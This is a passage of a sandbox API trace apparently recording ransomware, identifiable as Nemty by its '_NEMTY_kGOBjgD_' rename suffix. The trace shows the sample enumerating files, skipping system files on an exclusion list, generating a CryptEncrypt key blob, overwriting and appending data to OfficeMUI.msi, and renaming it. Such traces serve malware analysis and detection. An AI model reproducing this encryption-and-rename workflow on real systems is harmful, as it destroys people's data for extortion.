lstrcmpiW (lpString1="msvcr90.dll", lpString2="rsa") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="NTDETECT.COM") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="ntldr") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="MSDOS.SYS") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="IO.SYS") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="boot.ini") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="boot.ini") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="AUTOEXEC.BAT") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="ntuser.dat") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="desktop.ini") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="CONFIG.SYS") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="RECYCLER") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="BOOTSECT.BAK") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="bootmgr") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="programdata") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="appdata") returned 1 [0048.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msvcr90.dll", lpUsedDefaultChar=0x0) returned 11 [0048.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msvcr90.dll", lpUsedDefaultChar=0x0) returned 11 [0048.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msvcr90.dll", lpUsedDefaultChar=0x0) returned 11 [0048.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msvcr90.dll", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msvcr90.dll", lpUsedDefaultChar=0x0) returned 11 [0048.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.636] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="..") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="...") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="windows") returned -1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="rsa") returned -1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="NTDETECT.COM") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="ntldr") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="MSDOS.SYS") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="IO.SYS") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="boot.ini") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="boot.ini") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="ntuser.dat") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="desktop.ini") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="CONFIG.SYS") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="RECYCLER") returned -1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="bootmgr") returned 1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="programdata") returned -1 [0048.636] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="appdata") returned 1 [0048.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeLR.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.637] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="..") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="...") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="windows") returned -1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="rsa") returned -1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="NTDETECT.COM") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="ntldr") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="MSDOS.SYS") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="IO.SYS") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="boot.ini") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="boot.ini") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="ntuser.dat") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="desktop.ini") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="CONFIG.SYS") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="RECYCLER") returned -1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="bootmgr") returned 1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="programdata") returned -1 [0048.637] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="appdata") returned 1 [0048.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.638] Sleep (dwMilliseconds=0x5) [0048.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0b18c30, dwHighDateTime=0x1d561e7)) [0048.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0b18c30, dwHighDateTime=0x1d561e7)) [0048.639] GetLastError () returned 0x0 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.639] GetLastError () returned 0x0 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.639] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.639] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.639] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.639] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="0Nxn+E2+c/MayTni2U3YlK60tw2MHRz9gkIT1vQtqXBN6jZBVtIZyf8HenPxohFN\r\nbIAsFxxmtZIcOFke0SMESeh6YlA4c5tBUlNlvD7A5j5PBrcPqbxxMrOhpd1K9RYR\r\nPkSVZHVy2iFpEpuaBjU8LEibTwvc3HAFucad48mHvkuGXIYv7KxeXrojn1ThBREC\r\nU+4BbKe+mtgUoRJmveNKAggKwaDrOWy7Yi7+BzSDoYk4AvMADbECC/LyAsVGSMBe\r\ntXPKRr4ZWV7HaKaPPet116uwSmO1cDkq89Ka1R0g+DMCfHIDytbd1CCd5oe91TUI\r\nha79hfN1caF9HtPXs0uTxA==\r\n", pcchString=0x653ef9c) returned 1 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.639] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=3702272) returned 1 [0048.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.640] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.640] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.649] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.649] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.650] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3702272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x387e00 [0048.650] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.651] CloseHandle (hObject=0x3c8) returned 1 [0048.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.746] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi._nemty_kgobjgd_")) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.747] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="..") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="...") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="windows") returned -1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="rsa") returned -1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="NTDETECT.COM") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="ntldr") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="MSDOS.SYS") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="IO.SYS") returned 1 [0048.747] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="boot.ini") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="boot.ini") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="ntuser.dat") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="desktop.ini") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="RECYCLER") returned -1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="bootmgr") returned 1 [0048.748] lstrcmpiW 